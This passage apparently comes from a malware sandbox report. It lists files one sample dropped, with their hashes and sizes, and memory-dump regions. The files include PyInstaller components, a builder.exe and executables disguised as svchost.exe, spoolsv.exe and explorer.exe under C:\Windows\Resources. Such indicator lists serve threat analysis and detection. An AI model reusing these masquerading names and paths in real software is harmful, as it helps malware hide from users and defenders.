bf4a722ae2eae985bacc9d2117d90a6f

SHA1
3e29de32176d695d49c6b227ffd19b54abb521ef

SHA256
827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147

SHA512
dd83b95967582152c7b5581121e6b69a07073e7a76fe87975742bb0fd7ecef7494ec940dba914364034cc4e3f623be98cc887677b65c208f14a2a9fc7497ca73

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\python311.dll

Filesize
1.6MB

MD5
5f6fd64ec2d7d73ae49c34dd12cedb23

SHA1
c6e0385a868f3153a6e8879527749db52dce4125

SHA256
ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967

SHA512
c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe

Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\rarreg.key

Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\select.pyd

Filesize
25KB

MD5
45d5a749e3cd3c2de26a855b582373f6

SHA1
90bb8ac4495f239c07ec2090b935628a320b31fc

SHA256
2d15c2f311528440aa29934920fb0b015eaf8cbe3b3c9ad08a282a2d6ba68876

SHA512
c7a641d475a26712652a84b8423155ca347e0ec0155bd257c200225a64752453e4763b8885d8fb043b30e92ae023a501fff04777ba5cfe54da9a68071f25fbea

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\sqlite3.dll

Filesize
622KB

MD5
dbc64142944210671cca9d449dab62e6

SHA1
a2a2098b04b1205ba221244be43b88d90688334c

SHA256
6e6b6f7df961c119692f6c1810fbfb7d40219ea4e5b2a98c413424cf02dce16c

SHA512
3bff546482b87190bb2a499204ab691532aa6f4b4463ab5c462574fc3583f9fc023c1147d84d76663e47292c2ffc1ed1cb11bdb03190e13b6aa432a1cef85c4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI37642\unicodedata.pyd

Filesize
295KB

MD5
8c42fcc013a1820f82667188e77be22d

SHA1
fba7e4e0f86619aaf2868cedd72149e56a5a87d4

SHA256
0e00b0e896457ecdc6ef85a8989888ccfbf05ebd8d8a1c493946a2f224b880c2

SHA512
3a028443747d04d05fdd3982bb18c52d1afee2915a90275264bf5db201bd4612090914c7568f870f0af7dfee850c554b3fec9d387334d53d03da6426601942b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0kzl21th.cax.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\builder.exe

Filesize
7.3MB

MD5
a215edd9d9788492b561858e44184bca

SHA1
77d8816ecce79f525c118687149e2f3b68dcb984

SHA256
7fbbefdae9adf0f81808b9decf48c08ba4a47293e80cd4855c083ab1f392c184

SHA512
64dfdf28e74a95af3cef3ad89b45d656bb49fba705665aad7878a397f18ae1c1a7e1aca2df466e80179f130b5350f0ac1eea26affe940742c2c42b8930f035ff

Download Submit
C:\Windows\Resources\Themes\icsys.icn.exe

Filesize
135KB

MD5
faa69267a39df334686c7e839a77f81b

SHA1
12e762d2f5dcdd7253ccd11ba0a851ca38435c2d

SHA256
662f71f2560aff6f7eab09b8cf2b2c5e90ab7479f3269db99822b70b19236751

SHA512
3836cf86d2fc3b2957769ff274399b72c1f4f0d7f77a4b2dd1d459cfb2e156403ffe5cf54703abcf02d2af7fee707756fe99ed3d4afb17d654239e032ecb6954

Download Submit
C:\Windows\Resources\svchost.exe

Filesize
135KB

MD5
1a6910f6994237e3f17ee7e3f9e8ff7f

SHA1
5f0b29daed94dbbeb236602b75288caaee795e9f

SHA256
39a7aa8177f8752a0d72e5ff92f7c256cf0212c4fde892d076bf865802058407

SHA512
c2e1da9270e9fa71362a607b07b18fbe231182b209fc91889c0d242a4a54a70a6ec871f69e48f10202ac6345e1ad6a9e7edaca5127f94a5c406dfe49df03a7f5

Download Submit
\??\c:\windows\resources\spoolsv.exe

Filesize
135KB

MD5
62c2b413327faec6cc234b582d229b55

SHA1
12c9bd7567c4cae44ea916e41fe99a24480ebd07

SHA256
bf2b5f549d5601f9d29dae271a037464bdaa16a8531f9a2e856c30465532227b

SHA512
77b8146ccade1aef38ab011702b4e0f09c610a702bcc928c9e56ed7790ab9d91cb594215d0cada8f33325d0f6ba453d8cd2844c243e4fa9336eead3ea39694ef

Download Submit
\??\c:\windows\resources\themes\explorer.exe

Filesize
135KB

MD5
a3dfb61bbbc15ced815feb333416c841

SHA1
394eb0bd1042369e427f1586497a83fa52e975fe

SHA256
dba19240943aed22ee67bae775e27dffa35ae1972635f1c31b50f82b8d979266

SHA512
d638c185d65cbcaa20ef773c88c6ae2c40fba831935e109b431a5a318b35337932a96870c5d84a949846d16d930a4eeb3ce0339d026bbaa06efe107af99b3a22

Download Submit
memory/1832-184-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2040-83-0x00007FFFB7B90000-0x00007FFFB80B0000-memory.dmp

Filesize
5.1MB

Download
memory/2040-131-0x00007FFFB7B90000-0x00007FFFB80B0000-memory.dmp

Filesize
5.1MB

Download
memory/2040-81-0x00007FFFB80B0000-0x00007FFFB817D000-memory.dmp

Filesize
820KB

Download
memory/2040-82-0x0000019AD29B0000-0x0000019AD2ED0000-memory.dmp

Filesize
5.1MB

Download
memory/2040-84-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp

Filesize
140KB

Download
memory/2040-35-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp

Filesize
5.9MB

Download
memory/2040-80-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp

Filesize
5.9MB

Download
memory/2040-86-0x00007FFFC7B00000-0x00007FFFC7B14000-memory.dmp

Filesize
80KB

Download
memory/2040-88-0x00007FFFC7EA0000-0x00007FFFC7EAD000-memory.dmp

Filesize
52KB

Download
memory/2040-90-0x00007FFFB7A70000-0x00007FFFB7B8C000-memory.dmp

Filesize
1.1MB

Download
memory/2040-74-0x00007FFFC8580000-0x00007FFFC858D000-memory.dmp

Filesize
52KB

Download
memory/2040-76-0x00007FFFC7B20000-0x00007FFFC7B53000-memory.dmp

Filesize
204KB

Download
memory/2040-72-0x00007FFFC7EB0000-0x00007FFFC7EC9000-memory.dmp

Filesize
100KB

Download
memory/2040-70-0x00007FFFB86E0000-0x00007FFFB8857000-memory.dmp

Filesize
1.5MB

Download
memory/2040-117-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp

Filesize
140KB

Download
memory/2040-116-0x00007FFFC6EE0000-0x00007FFFC74C9000-memory.dmp

Filesize
5.9MB

Download
memory/2040-140-0x00007FFFB80B0000-0x00007FFFB817D000-memory.dmp

Filesize
820KB

Download
memory/2040-136-0x00007FFFB86E0000-0x00007FFFB8857000-memory.dmp

Filesize
1.5MB

Download
memory/2040-68-0x00007FFFC7ED0000-0x00007FFFC7EF3000-memory.dmp

Filesize
140KB

Download
memory/2040-66-0x00007FFFCB3D0000-0x00007FFFCB3E9000-memory.dmp

Filesize
100KB

Download
memory/2040-143-0x00007FFFB7A70000-0x00007FFFB7B8C000-memory.dmp

Filesize
1.1MB

Download
memory/2040-142-0x00007FFFC7EA0000-0x00007FFFC7EAD000-memory.dmp

Filesize
52KB

Download
memory/2040-141-0x00007FFFC7B00000-0x00007FFFC7B14000-memory.dmp

Filesize
80KB

Download
memory/2040-139-0x00007FFFC7B20000-0x00007FFFC7B53000-memory.dmp

Filesize
204KB

Download
memory/2040-138-0x00007FFFC8580000-0x00007FFFC858D000-memory.dmp

Filesize
52KB

Download
memory/2040-137-0x00007FFFC7EB0000-0x00007FFFC7EC9000-memory.dmp

Filesize
100KB

Download
memory/2040-64-0x00007FFFC78D0000-0x00007FFFC78FD000-memory.dmp

Filesize
180KB

Download
memory/2040-40-0x00007FFFC7A70000-0x00007FFFC7A93000-memory.dmp

Filesize
140KB

Download
memory/2040-58-0x00007FFFCC9F0000-0x00007FFFCC9FF000-memory.dmp

Filesize
60KB

Download
memory/2040-132-0x00007FFFCC9F0000-0x00007FFFCC9FF000-memory.dmp

Filesize
60KB

Download
memory/2040-133-0x00007FFFC78D0000-0x00007FFFC78FD000-memory.dmp

Filesize
180KB

Download
memory/2040-134-0x00007FFFCB3D0000-0x00007FFFCB3E9000-memory.dmp

Filesize
100KB

Download
memory/2040-135-0x00007FFFC7ED0000-0x00007FFFC7EF3000-memory.dmp

Filesize
140KB

Download
memory/3176-91-0x000001DCAE8B0000-0x000001DCAE8D2000-memory.dmp

Filesize
136KB

Download
memory/4464-185-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/4604-182-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/4604-148-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/4864-181-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

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memory/4892-183-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

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memory/4892-0-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

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memory/4936-180-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

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